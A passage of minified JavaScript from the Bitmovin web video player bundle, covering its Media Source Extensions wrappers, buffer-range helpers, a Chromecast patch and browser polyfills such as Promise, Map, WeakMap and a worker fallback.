this.sourceBuffers.hasOwnProperty(n)?this.sourceBuffers[n].queueAction(t):Promise.reject("No SourceBuffer for '".concat(n,"' available"))},n.prototype.rejectMediaSourceReady=function(n){var t,i=this;return null===(t=this.mediaSourceReadyDeferred)||void 0===t||t.reject(n),this.mediaSourceReadyPromise?this.mediaSourceReadyPromise.then(function(){i.mediaSourceReadyDeferred=void 0}):Promise.reject(n)},n.prototype.mseReady=function(){var i,n=this,r;if(this.mediaSourceReadyPromise)return this.mediaSourceReadyPromise;this.mediaSourceReadyDeferred=new d.Deferred;this.mediaSourceReadyPromise=this.mediaSourceReadyDeferred.promise;var u=function(t){var i;f();null===(i=n.mediaSourceReadyDeferred)||void 0===i||i.reject(t)},t=function(){var t;f();n.isInit=!0;null===(t=n.mediaSourceReadyDeferred)||void 0===t||t.resolve()},f=function(){n.mediaSource&&(n.mediaSource.removeEventListener("error",u),n.mediaSource.removeEventListener("sourceopen",t),n.mediaSource.removeEventListener("webkitsourceopen",t))};return this.video?this.mediaSource?((this.mediaSource.addEventListener("error",u),this.mediaSource.addEventListener("sourceopen",t,!1),this.mediaSource.addEventListener("webkitsourceopen",t,!1),window&&window.URL&&"function"==typeof window.URL.createObjectURL)?(r=window.URL.createObjectURL(this.mediaSource),this.video.src=r,null===(i=c.getSourceStore(this.context))||void 0===i||i.dispatch(w.setMseObjectUrl(r))):(this.logger.debug("Could not use window.URL.createObjectURL(mediaSource) as the browser claims the function does not exist."),this.mediaSourceReadyDeferred.reject("Could not create Object URL")),this.mediaSourceReadyPromise.then(function(){n.mediaSourceReadyDeferred=void 0})):this.rejectMediaSourceReady("mediaSource must not be null or undefined"):this.rejectMediaSourceReady("Could not set source to video element")},n.prototype.createNewMSE=function(){var n=this;return this.mediaSource?this.tearDownMediaSource().then(function(){return n.setNewMediaSource()}):this.teardownInProgressPromise.then(function(){return n.setNewMediaSource()})},n.prototype.setNewMediaSource=function(){return this.mediaSource=new window.MediaSource,this.mseReady()},n.prototype.isChangeTypeSupported=function(){var n,t;return!!(null===(t=null===(n=window.SourceBuffer)||void 0===n?void 0:n.prototype)||void 0===t?void 0:t.changeType)&&!b.getCapabilities().isTizen},n.prototype.addBufferChangedUpdateEndCallback=function(n){var i=this,t;this.context.logger.isLevelEnabled(y.LogLevel.DEBUG)&&(t=function(t){return i.logRangesOnBufferChanged(n,t)},this.addUpdateEndCallback(n,t),this.updateEndListeners.add(n,t))},n.prototype.updateSourceBufferKey=function(n){var i=this,r=o.MimeTypeHelper.getMediaType(n),t=Object.keys(this.sourceBuffers).find(function(t){var u=o.MimeTypeHelper.getMediaType(t);return i.sourceBuffers.hasOwnProperty(t)&&u===r&&t!==n});t&&(this.removeAllUpdateEndCallbacks(t),this.sourceBuffers[n]=this.sourceBuffers[t],delete this.sourceBuffers[t],this.addBufferChangedUpdateEndCallback(n))},n.prototype.removeAllUpdateEndCallbacks=function(n){var i=this,t=this.updateEndListeners.get(n);null==t||t.forEach(function(t){i.removeUpdateEndCallback(n,t)});this.updateEndListeners.delete(n)},n.prototype.changeBufferType=function(n,t){var i=this;return this.updateSourceBufferKey(n),this.queueActionOnBuffer(n,function(){i.sourceBuffers[n].changeType("".concat(n,"; codecs=").concat(t));i.context.logger.debug("Changed ".concat(n," SourceBuffer type with codec=").concat(t))})},n.prototype.dispose=function(){var n=this;this.tearDownMediaSource().then(function(){n.video=void 0})},n}();t.MSEWrapper=l},27838:function(n,t,i){Object.defineProperty(t,"__esModule",{value:!0});t.MSERendererModuleDefinition=void 0;var r=i(16368),u=i(6863),f=i(58765),e=i(89413),o=i(98758);t.MSERendererModuleDefinition={name:r.ModuleName.RendererMse,module:{MSEWrapper:f.MSEWrapper,MSERenderer:u.MSERenderer,Ranges:e.Ranges,technologyChecker:new o.TechnologyChecker}};t.default=t.MSERendererModuleDefinition},63916:function(n,t){Object.defineProperty(t,"__esModule",{value:!0});t.LinkedListQueue=void 0;var i=function(n){this.value=n},r=function(){function n(){this.count=0}return Object.defineProperty(n.prototype,"length",{get:function(){return this.count},enumerable:!1,configurable:!0}),n.prototype.dequeue=function(){if(0!==this.count){var n=this.last;return this.last=null==n?void 0:n.previous,n&&(n.previous=void 0,n.next=void 0),this.count--,null==n?void 0:n.value}},n.prototype.enqueue=function(n){var r,t;0===this.count?(r=new i(n),this.first=r,this.last=r):(t=this.first,this.first=new i(n),this.first.next=t,t&&(t.previous=this.first));this.count++},n.prototype.isEmpty=function(){return 0===this.length},n}();t.LinkedListQueue=r},89413:function(n,t){Object.defineProperty(t,"__esModule",{value:!0});t.Ranges=void 0;var i=function(){function n(){}return n.filterRanges=function(t,i){var u=[],r;if(t&&t.length)for(r=0;r<t.length;r++)i(t.start(r),t.end(r))&&u.push([t.start(r),t.end(r)]);return n.createTimeRanges(u)},n.createTimeRangesObj=function(n){return void 0===n||0===n.length?{length:0,start:function(){return 0},end:function(){return 0}}:{length:n.length,start:function(t){return n[t][0]},end:function(t){return n[t][1]}}},n.createTimeRanges=function(t,i){return Array.isArray(t)?n.createTimeRangesObj(t):void 0===t||void 0===i?n.createTimeRangesObj():n.createTimeRangesObj([[t,i]])},n.findNextRange=function(t,i){return n.filterRanges(t,function(t,r){return t-n.TIME_FUDGE_FACTOR>=i&&r-t>n.MIN_RANGE_DURATION})},n.findGaps=function(t,i){var u,r,f,e;if(t.length<2)return n.createTimeRanges();for(u=[],r=1;r<t.length;r++)f=t.end(r-1),e=t.start(r),e-f>i&&u.push([f,e]);return n.createTimeRanges(u)},n.findRangeForTime=function(t,i){return n.filterRanges(t,function(n,t){return n<=i&&t>=i})},n.TIME_FUDGE_FACTOR=1/30,n.MIN_RANGE_DURATION=.2,n}();t.Ranges=i},73904:function(n,t){Object.defineProperty(t,"__esModule",{value:!0});t.getMseObjectUrl=void 0;t.getMseObjectUrl=function(n){var t,i;return null!==(i=null===(t=null==n?void 0:n.renderer)||void 0===t?void 0:t.mseObjectUrl)&&void 0!==i?i:""}},24869:function(n,t,i){Object.defineProperty(t,"__esModule",{value:!0});t.SourceBufferWrapper=void 0;var r=i(10981),u=i(63916),f=function(){function n(n){var t=this;this.onUpdateSuccess=function(){t.updateExposedBufferRanges();t.cleanUpPendingUpdateEndedPromises(function(n){return n.resolve()})};this.onUpdateError=function(n){t.cleanUpPendingUpdateEndedPromises(function(t){return t.reject(n)})};this.ready=function(){return t.buffer.updating?t.onUpdateEnded():Promise.resolve()};this.buffer=n;this.bufferedRanges=[];this.queuePromise=Promise.resolve();this.pendingUpdateEndedPromises=new u.LinkedListQueue;["error","abort","sourceended","sourceclose"].forEach(function(n){t.buffer.addEventListener(n,t.onUpdateError)});this.buffer.addEventListener("updateend",this.onUpdateSuccess)}return n.prototype.cleanUpPendingUpdateEndedPromises=function(n){for(var t;null!=(t=this.pendingUpdateEndedPromises.dequeue());)n(t)},n.prototype.updateExposedBufferRanges=function(){try{this.bufferedRanges=function(n){for(var i=[],t=0;t<n.length;t++)i.push({start:n.start(t),end:n.end(t)});return i}(this.buffer.buffered)}catch(n){}},n.prototype.onUpdateEnded=function(){var n=new r.Deferred;return this.pendingUpdateEndedPromises.enqueue(n),n.promise},n.prototype.queueAction=function(n){var t=this,i=this.queuePromise.then(function(){return t.ready()}).then(function(){return Promise.resolve(n()).then(function(){return t.ready()})});return this.queuePromise=i.catch(function(){}),i},n.prototype.changeType=function(n){this.buffer.changeType(n)},n.prototype.dispose=function(){var n=this;["error","abort","sourceended","sourceclose"].forEach(function(t){n.buffer.removeEventListener(t,n.onUpdateError)});this.cleanUpPendingUpdateEndedPromises(function(n){return n.reject("disposing source buffer")});this.buffer.removeEventListener("updateend",this.onUpdateSuccess)},n}();t.SourceBufferWrapper=f},98758:function(n,t,i){Object.defineProperty(t,"__esModule",{value:!0});t.TechnologyChecker=void 0;var r=i(33696),u=function(){function n(){}return n.prototype.getSupportedTechnologies=function(){return[{player:r.PlayerType.Html5,streaming:r.StreamType.Dash},{player:r.PlayerType.Html5,streaming:r.StreamType.Hls},{player:r.PlayerType.Html5,streaming:r.StreamType.Smooth}]},n}();t.TechnologyChecker=u},76316:function(n,t){Object.defineProperty(t,"__esModule",{value:!0});t.VideoEventHandler=void 0;var i=function(){function n(n){var t=this;this.addTimeToEvent=function(n){return n.time=t.video&&t.video.currentTime||0,n};this.video=n}return n.prototype.on=function(n,t){this.video&&this.video.addEventListener(n,t,this.addTimeToEvent)},n.prototype.off=function(n,t){this.video&&this.video.removeEventListener(n,t)},n.prototype.fire=function(n,t){this.video&&this.video.eventHandler.triggerEvent(n,t)},n.prototype.dispose=function(){},n}();t.VideoEventHandler=i},66697:function(n,t,i){Object.defineProperty(t,"__esModule",{value:!0});t.getBufferEndSafetyMargin=void 0;var r=i(94304),u=i(13533);t.getBufferEndSafetyMargin=function(n){var t=u.getCapabilities(),f=t.isChromium,e=t.isChrome,i;return t.isWebOS?1.25:(i=(null==n?void 0:n.usedKeySystem.kind)===r.KeySystemKind.PLAYREADY,f&&!e&&i?1.25:.25)}}},function(n){return n(n.s=27838)}])},141:function(n){"use strict";self;n.exports=(self.webpackChunkbitmovin_player=self.webpackChunkbitmovin_player||[]).push([[787],{83364:function(n,t){Object.defineProperty(t,"__esModule",{value:!0});t.DeviceDetector=void 0;var i=function(){function n(){}return n.isGoogleCast=function(){return window.navigator.userAgent.indexOf("Chrome")>-1&&window.navigator.userAgent.indexOf("CrKey")>-1},n}();t.DeviceDetector=i},38901:function(n,t,i){Object.defineProperty(t,"__esModule",{value:!0});t.PatchModuleDefinition=void 0;var r=i(16368),u=i(84408);t.PatchModuleDefinition={name:r.ModuleName.Patch,module:{Patches:u.Patches},hooks:{add:function(n){n.Patches.install()}}};t.default=t.PatchModuleDefinition},84408:function(n,t,i){Object.defineProperty(t,"__esModule",{value:!0});t.Patches=void 0;var r=i(83364),u=function(){function n(){}return n.arrayReduce=function(n,t){if(null===this)throw new TypeError("Array.prototype.reduce called on null or undefined");if("function"!=typeof n)throw new TypeError(n+" is not a function");var u,r=Object(this),f=r.length>>>0,i=0;if(void 0!==t)u=t;else{for(;i<f&&!(i in r);)i++;if(i>=f)throw new TypeError("Reduce of empty array with no initial value");u=r[i++]}for(;i<f;)i in r&&(u=n(u,r[i],i,r)),i++;return u},n.install=function(){r.DeviceDetector.isGoogleCast()&&window.navigator.userAgent.indexOf("CrKey/1.25.")>-1&&(Array.prototype.reduce=n.arrayReduce)},n}();t.Patches=u}},function(n){return n(n.s=38901)}])},324:function(n){"use strict";var t;self;t=function(){return(self.webpackChunkbitmovin_player=self.webpackChunkbitmovin_player||[]).push([[538],{81083:function(n,t,i){function r(n,t){(function(){eval(t)}).call(i.g)}function u(n){function f(n,t){for(var i=-1;++i<n.length;)n[i]&&t(n[i])}function v(n){var r=function(n){return function(t){t({type:"error",error:n,message:n.message})}}(n);"function"==typeof t.onerror&&r(t.onerror);i&&"function"==typeof i.onerror&&r(i.onerror);f(s,r);f(a,r)}function y(n,t){function r(i){try{i({data:n,ports:t})}catch(n){v(n)}}i&&"function"==typeof i.onmessage&&r(i.onmessage);f(l,r)}function p(){c=!0}function w(n){function i(t){t({data:n})}c||("function"==typeof t.onmessage&&i(t.onmessage),f(o,i))}function b(n,t){"message"===n?l.push(t):"error"===n&&a.push(t)}var e,i,o=[],s=[],l=[],a=[],h=[],c=!1,t=this,u=new XMLHttpRequest;return u.open("GET",n),u.onreadystatechange=function(){var f,t;if(4===u.readyState)if(u.status>=200&&u.status<400)for(e=u.responseText,r(i={postMessage:w,addEventListener:b,close:p},e),f=h,h=[],t=0;t<f.length;t++)y(f[t].msg,f[t].transfer);else v(new Error("cannot find script "+n))},u.send(),t.postMessage=function(n,t){if(void 0===n)throw new Error("postMessage() requires an argument");c||(e?y(n,t):h.push({msg:n,transfer:t||void 0}))},t.addEventListener=function(n,t){"message"===n?o.push(t):"error"===n&&s.push(t)},t.removeEventListener=function(n,t){var i,r;if("message"===n)i=o;else{if("error"!==n)return;i=s}for(r=-1;++r<i.length;)if(i[r]===t){delete i[r];break}},t.terminate=p,t}n.exports=u},51620:function(n,t){Object.defineProperty(t,"__esModule",{value:!0});t.ArrayBufferPolyfill=void 0;t.ArrayBufferPolyfill=function(){function n(n,t){return(n=0|n||0)<0?Math.max(n+t,0):Math.min(n,t)}return{polyfill:function(){ArrayBuffer.prototype.slice=function(t,i){var r=this.byteLength,u=n(t,r),f=r;if(void 0!==i&&(f=n(i,r)),u>f)return new ArrayBuffer(0);var e=f-u,o=new ArrayBuffer(e),s=new Uint8Array(o),h=new Uint8Array(this,u,e);return s.set(h),o}}}}()},16051:function(n,t){Object.defineProperty(t,"__esModule",{value:!0});t.ArrayFindIndexPolyfill=void 0;t.ArrayFindIndexPolyfill={polyfill:function(){Object.defineProperty(Array.prototype,"findIndex",{value:function(n){var i,r,u,t,f;if(null==this)throw new TypeError('"this" is null or not defined');if(i=Object(this),r=i.length>>>0,"function"!=typeof n)throw new TypeError("predicate must be a function");for(u=arguments[1],t=0;t<r;){if(f=i[t],n.call(u,f,t,i))return t;t++}return-1},configurable:!0,writable:!0})}}},5029:function(n,t){Object.defineProperty(t,"__esModule",{value:!0});t.ArrayFindPolyfill=void 0;t.ArrayFindPolyfill={polyfill:function(){Array.prototype.find=function(n){if(null==this)throw new TypeError("Array.prototype.find called on null or undefined");if("function"!=typeof n)throw new TypeError("predicate must be a function");for(var i,r=Object(this),u=r.length>>>0,f=arguments[1],t=0;t<u;t++)if(i=r[t],n.call(f,i,t,r))return i}}}},11585:function(n,t){Object.defineProperty(t,"__esModule",{value:!0});t.ArrayFlatMapPolyfill=void 0;var i=function(){function n(){}return n.polyfill=function(){Object.defineProperty(Array.prototype,"flatMap",{value:function(n){return Array.prototype.concat.apply([],this.map(n))}})},n}();t.ArrayFlatMapPolyfill=i},68367:function(n,t){Object.defineProperty(t,"__esModule",{value:!0});t.ArrayIncludesPolyfill=void 0;t.ArrayIncludesPolyfill={polyfill:function(){Object.defineProperty(Array.prototype,"includes",{value:function(n,t){function e(n,t){return n===t||"number"==typeof n&&"number"==typeof t&&isNaN(n)&&isNaN(t)}var f,i,r,u;if(null==this)throw new TypeError('"this" is null or not defined');if(f=Object(this),i=f.length>>>0,0===i)return!1;for(r=0|t,u=Math.max(r>=0?r:i-Math.abs(r),0);u<i;){if(e(f[u],n))return!0;u++}return!1}})}}},31630:function(n,t){Object.defineProperty(t,"__esModule",{value:!0});t.PromisePolyfill=void 0;t.PromisePolyfill=function(){function w(n){return"function"==typeof n}function a(){for(var n=0;n<l;n+=2)o[n](o[n+1]),o[n]=void 0,o[n+1]=void 0;l=0}function s(){}function st(t,r){if(r.constructor===t.constructor)!function(t,r){r._state===h?i(t,r._result):r._state===e?n(t,r._result):y(r,void 0,function(n){c(t,n)},function(i){n(t,i)})}(t,r);else{var f=function(n){try{return n.then}catch(n){return v.error=n,v}}(r);f===v?n(t,v.error):void 0===f?i(t,r):w(f)?function(t,r,f){u(function(t){var u=!1,e=function(n,t,i,r){try{n.call(t,i,r)}catch(n){return n}}(f,r,function(n){u||(u=!0,r!==n?c(t,n):i(t,n))},function(i){u||(u=!0,n(t,i))},t._label);!u&&e&&(u=!0,n(t,e))},t)}(t,r,f):i(t,r)}}function c(t,r){t===r?n(t,new TypeError("You cannot resolve a promise with itself")):function(n){return"function"==typeof n||"object"==typeof n&&null!==n}(r)?st(t,r):i(t,r)}function ht(n){n._onerror&&n._onerror(n._result);k(n)}function i(n,t){n._state===f&&(n._result=t,n._state=h,0!==n._subscribers.length&&u(k,n))}function n(n,t){n._state===f&&(n._state=e,n._result=t,u(ht,n))}function y(n,t,i,r){var f=n._subscribers,o=f.length;n._onerror=null;f[o]=t;f[o+h]=i;f[o+e]=r;0===o&&n._state&&u(k,n)}function k(n){var i=n._subscribers,e=n._state,r,u,f,t;if(0!==i.length){for(f=n._result,t=0;t<i.length;t+=3)r=i[t],u=i[t+e],r?ut(e,r,u,f):u(f);n._subscribers.length=0}}function rt(){this.error=null}function ut(t,r,u,o){var s,a,l,v,y=w(u);if(y){if((s=function(n,t){try{return n(t)}catch(n){return p.error=n,p}}(u,o))===p?(v=!0,a=s.error,s=null):l=!0,r===s)return void n(r,new TypeError("A promises callback cannot return that same promise."))}else s=o,l=!0;r._state!==f||(y&&l?c(r,s):v?n(r,a):t===h?i(r,s):t===e&&n(r,s))}function r(t,r){var u=this;u._instanceConstructor=t;u.promise=new t(s);u._validateInput(r)?(u._input=r,u.length=r.length,u._remaining=r.length,u._init(),0===u.length?i(u.promise,u._result):(u.length=u.length||0,u._enumerate(),0===u._remaining&&i(u.promise,u._result))):n(u.promise,u._validationError())}function t(i){this._id=et++;this._state=void 0;this._result=void 0;this._subscribers=[];s!==i&&(w(i)||function(){throw new TypeError("You must pass a resolver function as the first argument to the promise constructor");}(),this instanceof t||function(){throw new TypeError("Failed to construct 'Promise': Please use the 'new' operator, this object constructor cannot be called as a function.");}(),function(t,i){try{i(function(n){c(t,n)},function(i){n(t,i)})}catch(i){n(t,i)}}(this,i))}var b,g,nt=Array.isArray?Array.isArray:function(n){return"[object Array]"===Object.prototype.toString.call(n)},l=0,u=function(n,t){o[l]=n;o[l+1]=t;2===(l+=2)&&(b?b(a):g())},tt=("undefined"!=typeof window?window:void 0)||{},it=tt.MutationObserver||tt.WebKitMutationObserver,ot="undefined"!=typeof Uint8ClampedArray&&"undefined"!=typeof importScripts&&"undefined"!=typeof MessageChannel,o=new Array(1e3),p,ft,et,d;g=it?function(){var n=0,i=new it(a),t=document.createTextNode("");return i.observe(t,{characterData:!0}),function(){t.data=n=++n%2}}():ot?function(){var n=new MessageChannel;return n.port1.onmessage=a,function(){n.port2.postMessage(0)}}():function(){setTimeout(a,1)};var f=void 0,h=1,e=2,v=new rt;return p=new rt,r.prototype._validateInput=function(n){return nt(n)},r.prototype._validationError=function(){return new Error("Array Methods must be provided an Array")},r.prototype._init=function(){this._result=new Array(this.length)},ft=r,r.prototype._enumerate=function(){for(var n=this,i=n.length,r=n.promise,u=n._input,t=0;r._state===f&&t<i;t++)n._eachEntry(u[t],t)},r.prototype._eachEntry=function(n,t){var i=this,r=i._instanceConstructor;(function(n){return"object"==typeof n&&null!==n})(n)?n.constructor===r&&n._state!==f?(n._onerror=null,i._settledAt(n._state,t,n._result)):i._willSettleAt(r.resolve(n),t):(i._remaining--,i._result[t]=n)},r.prototype._settledAt=function(t,r,u){var o=this,s=o.promise;s._state===f&&(o._remaining--,t===e?n(s,u):o._result[r]=u);0===o._remaining&&i(s,o._result)},r.prototype._willSettleAt=function(n,t){var i=this;y(n,void 0,function(n){i._settledAt(h,t,n)},function(n){i._settledAt(e,t,n)})},et=0,d=t,t.all=function(n){return new ft(this,n).promise},t.race=function(t){function e(n){c(i,n)}function o(t){n(i,t)}var i=new this(s),u,r;if(!nt(t))return n(i,new TypeError("You must pass an array to race.")),i;for(u=t.length,r=0;i._state===f&&r<u;r++)y(this.resolve(t[r]),void 0,e,o);return i},t.resolve=function(n){if(n&&"object"==typeof n&&n.constructor===this)return n;var t=new this(s);return c(t,n),t},t.reject=function(t){var i=new this(s);return n(i,t),i},t._setScheduler=function(n){b=n},t._setAsap=function(n){u=n},t._asap=u,t.prototype={constructor:t,then:function(n,t){var f=this,i=f._state,r,o,c;return i===h&&!n||i===e&&!t?this:(r=new this.constructor(s),o=f._result,i?(c=arguments[i-1],u(function(){ut(i,r,c,o)})):y(f,r,n,t),r)},"catch":function(n){return this.then(null,n)}},{Promise:d,polyfill:function(){var n=window.Promise;n&&"[object Promise]"===Object.prototype.toString.call(n.resolve())&&!n.cast||(window.Promise=d)}}}.call(this)},54917:function(n,t){Object.defineProperty(t,"__esModule",{value:!0});t.MapPolyfill=void 0;t.MapPolyfill={polyfill:function(){function u(n){this.add?n.forEach(this.add,this):n.forEach(function(n){this.set(n[0],n[1])},this)}function f(t,i){if(i!=i||0===i)for(n=t.length;n--&&!r(t[n],i););else n=t.indexOf(i);return-1<n}function t(n,t,i){var r=[0],u=!1;return n.push(r),{next:function(){var e,f=r[0];return!u&&f<t.length?(e=i?[t[f],i[f]]:t[f],r[0]++):(u=!0,n.splice(n.indexOf(r),1)),{done:u,value:e}}}}function e(){return this._values.length}var n,i=Object.defineProperty,r=function(n,t){return n===t||n!=n&&t!=t};window.Map=function(n){function t(n){if(!this||this.constructor!==t)return new(t(n));this._keys=[];this._values=[];this._itp=[];n&&u.call(this,n)}return i(n,"size",{get:e}),n.constructor=t,t.prototype=n,t}({"delete":function(t){return this.has(t)&&(this._keys.splice(n,1),this._values.splice(n,1),this._itp.forEach(function(t){n<t[0]&&t[0]--})),-1<n},has:function(n){return f.call(this,this._keys,n)},get:function(t){if(this.has(t))return this._values[n]},set:function(t,i){return this.has(t)?this._values[n]=i:this._values[this._keys.push(t)-1]=i,this},keys:function(){return t(this._itp,this._keys)},values:function(){return t(this._itp,this._values)},entries:function(){return t(this._itp,this._keys,this._values)},forEach:function(n,t){for(var i,r=this.entries();;){if(i=r.next(),i.done)break;n.call(t,i.value[1],i.value[0],this)}},clear:function(){(this._keys||0).length=this._values.length=0}})}}},37038:function(n,t){Object.defineProperty(t,"__esModule",{value:!0});t.NodeChildrenPolyfill=void 0;t.NodeChildrenPolyfill={polyfill:function(){!function(n){n&&n.prototype&&null==n.prototype.children&&Object.defineProperty(n.prototype,"children",{get:function(){var n,r=0,i=this.childNodes,t=[];if(!i)return t;for(;n=i[r++];)1===n.nodeType&&t.push(n);return t}})}(window.Node||window.Element)}}},74005:function(n,t){Object.defineProperty(t,"__esModule",{value:!0});t.NodeListPolyfill=void 0;t.NodeListPolyfill={polyfill:function(){NodeList.prototype.forEach=function(n,t){t=t||window;for(var i=0;i<this.length;i++)n.call(t,this[i],i,this)}}}},64211:function(n,t){Object.defineProperty(t,"__esModule",{value:!0});t.ObjectAssignPolyfill=void 0;t.ObjectAssignPolyfill={polyfill:function(){Object.defineProperty(Object,"assign",{value:function(n){var u,i,t,r;if(null==n)throw new TypeError("Cannot convert undefined or null to object");for(u=Object(n),i=1;i<arguments.length;i++)if(t=arguments[i],null!=t)for(r in t)Object.prototype.hasOwnProperty.call(t,r)&&(u[r]=t[r]);return u},writable:!0,configurable:!0})}}},97986:function(n,t){Object.defineProperty(t,"__esModule",{value:!0});t.ObjectEntriesPolyfill=void 0;t.ObjectEntriesPolyfill={polyfill:function(){Object.entries=function(n){for(var i=Object.keys(n),t=i.length,r=new Array(t);t--;)r[t]=[i[t],n[i[t]]];return r}}}},70520:function(n,t){Object.defineProperty(t,"__esModule",{value:!0});t.ObjectValuesPolyfill=void 0;t.ObjectValuesPolyfill={polyfill:function(){Object.values=function(n){return Object.keys(n).map(function(t){return n[t]})}}}},94678:function(n,t){Object.defineProperty(t,"__esModule",{value:!0});t.default={polyfill:function(){window.Promise.prototype.finally&&"function"==typeof window.Promise.prototype.finally||(window.Promise.prototype.finally=function(n){var t=this.constructor;return this.then(function(i){return t.resolve(n()).then(function(){return i})},function(i){return t.resolve(n()).then(function(){throw i;})})})}}},74338:function(n,t){Object.defineProperty(t,"__esModule",{value:!0});t.StringEndsWithPolyfill=void 0;t.StringEndsWithPolyfill={polyfill:function(){String.prototype.endsWith=function(n,t){if(null==n)return!1;var i=this.length;return null!=t&&(i=Math.min(t,this.length)),this.substring(i-n.length,i)===n}}}},13801:function(n,t){Object.defineProperty(t,"__esModule",{value:!0});t.StringIncludesPolyfill=void 0;t.StringIncludesPolyfill={polyfill:function(){String.prototype.includes=function(n,t){return"number"!=typeof t&&(t=0),!(t+n.length>this.length)&&-1!==this.indexOf(n,t)}}}},41921:function(n,t){Object.defineProperty(t,"__esModule",{value:!0});t.StringStartsWithPolyfill=void 0;t.StringStartsWithPolyfill={polyfill:function(){String.prototype.startsWith=function(n,t){var i=t>0?0|t:0;return this.substring(i,i+n.length)===n}}}},87129:function(n,t){Object.defineProperty(t,"__esModule",{value:!0});t.WeakMapPolyfill=void 0;var i=function(){};!function(){function v(n){n.permitHostObjects___&&n.permitHostObjects___(v)}function w(n){return!(n.substr(0,8)==h&&"___"===n.substr(n.length-3))}function r(n){if(n!==Object(n))throw new TypeError("Not an object: "+n);var t=n[c];if(t&&t.key===n)return t;if(nt(n)){t={key:n};try{return u(n,c,{value:t,writable:!1,enumerable:!1,configurable:!1}),t}catch(n){return}}}function t(n){return n.prototype=null,Object.freeze(n)}function d(){a||"undefined"==typeof console||(a=!0,console.warn("WeakMap should be invoked as new WeakMap(), not WeakMap(). This will be an error in the future."))}var f,e=!1,o,s,p,l,b,k,a,g,n;if("function"==typeof WeakMap&&(f=WeakMap,"undefined"==typeof navigator||!/Firefox/.test(navigator.userAgent))){if(o=new f,s=Object.freeze({}),o.set(s,1),1===o.get(s))return void(i=function(){});e=!0}var y=Object.getOwnPropertyNames,u=Object.defineProperty,nt=Object.isExtensible,h="weakmap:",c=h+"ident:"+Math.random()+"___";"undefined"!=typeof crypto&&"function"==typeof crypto.getRandomValues&&"function"==typeof ArrayBuffer&&"function"==typeof Uint8Array&&(p=new ArrayBuffer(25),l=new Uint8Array(p),crypto.getRandomValues(l),c=h+"rand:"+Array.prototype.map.call(l,function(n){return(n%36).toString(36)}).join("")+"___");b="object"==typeof window?Object.getOwnPropertyNames(window):[];(u(Object,"getOwnPropertyNames",{value:function(n){if("[object Window]"===Object.prototype.toString.call(n))try{return y(n)}catch(n){return[].concat([],b)}return y(n).filter(w)}}),"getPropertyNames"in Object)&&(k=Object.getPropertyNames,u(Object,"getPropertyNames",{value:function(n){return k(n).filter(w)}}));!function(){var i=Object.freeze,n,t;u(Object,"freeze",{value:function(n){return r(n),i(n)}});n=Object.seal;u(Object,"seal",{value:function(t){return r(t),n(t)}});t=Object.preventExtensions;u(Object,"preventExtensions",{value:function(n){return r(n),t(n)}})}();a=!1;g=0;n=function(){this instanceof n||d();var i=[],u=[],f=g++;return Object.create(n.prototype,{get___:{value:t(function(n,t){var o,e=r(n);return e?f in e?e[f]:t:(o=i.indexOf(n))>=0?u[o]:t})},has___:{value:t(function(n){var t=r(n);return t?f in t:i.indexOf(n)>=0})},set___:{value:t(function(n,t){var e,o=r(n);return o?o[f]=t:(e=i.indexOf(n))>=0?u[e]=t:(e=i.length,u[e]=t,i[e]=n),this})},delete___:{value:t(function(n){var e,t,o=r(n);return o?f in o&&delete o[f]:!((e=i.indexOf(n))<0||(t=i.length-1,i[e]=void 0,u[e]=u[t],i[e]=i[t],i.length=t,u.length=t,0))})}})};n.prototype=Object.create(Object.prototype,{get:{value:function(n,t){return this.get___(n,t)},writable:!0,configurable:!0},has:{value:function(n){return this.has___(n)},writable:!0,configurable:!0},set:{value:function(n,t){return this.set___(n,t)},writable:!0,configurable:!0},"delete":{value:function(n){return this.delete___(n)},writable:!0,configurable:!0}});"function"==typeof f?function(){function r(){this instanceof n||d();var u,r=new f,i=void 0,o=!1;return u=e?function(t,u){return r.set(t,u),r.has(t)||(i||(i=n()),i.set(t,u)),this}:function(t,u){if(o)try{r.set(t,u)}catch(f){i||(i=n());i.set___(t,u)}else r.set(t,u);return this},Object.create(n.prototype,{get___:{value:t(function(n,t){return i?r.has(n)?r.get(n):i.get___(n,t):r.get(n,t)})},has___:{value:t(function(n){return r.has(n)||!!i&&i.has___(n)})},set___:{value:t(u)},delete___:{value:t(function(n){var t=!!r.delete(n);return i&&i.delete___(n)||t})},permitHostObjects___:{value:t(function(n){if(n!==v)throw new Error("bogus call to permitHostObjects___");o=!0})}})}e&&"undefined"!=typeof Proxy&&(Proxy=void 0);r.prototype=n.prototype;i=function(){window.WeakMap=r};Object.defineProperty(WeakMap.prototype,"constructor",{value:WeakMap,enumerable:!1,configurable:!0,writable:!0})}():("undefined"!=typeof Proxy&&(Proxy=void 0),i=function(){window.WeakMap=n})}();t.WeakMapPolyfill={polyfill:i}},42638:function(n,t,i){Object.defineProperty(t,"__esModule",{value:!0});t.PolyfillModuleDefinition=void 0;var r=i(16368),u=i(23523);t.PolyfillModuleDefinition={name:r.ModuleName.Polyfill,module:{Polyfills:u.Polyfills},hooks:{add:function(n){n.Polyfills.installPolyfills()}}};t.default=t.PolyfillModuleDefinition},23523:function(n,t,i){Object.defineProperty(t,"__esModule",{value:!0});t.Polyfills=void 0;var r=i(81083),u=i(51620),f=i(16051),e=i(5029),o=i(11585),s=i(68367),h=i(31630),c=i(54917),l=i(37038),a=i(74005),v=i(64211),y=i(97986),p=i(70520),w=i(94678),b=i(74338),k=i(13801),d=i(41921),g=i(87129);t.Polyfills={installPolyfills:function(){window.bitmovin=window.bitmovin||{};window&&window.Promise&&"function"==typeof Promise||h.PromisePolyfill.polyfill();w.default.polyfill();window&&window.ArrayBuffer&&!window.ArrayBuffer.prototype.slice&&u.ArrayBufferPolyfill.polyfill();window.WeakMap&&"function"==typeof WeakMap||g.WeakMapPolyfill.polyfill();window.Map&&"function"==typeof 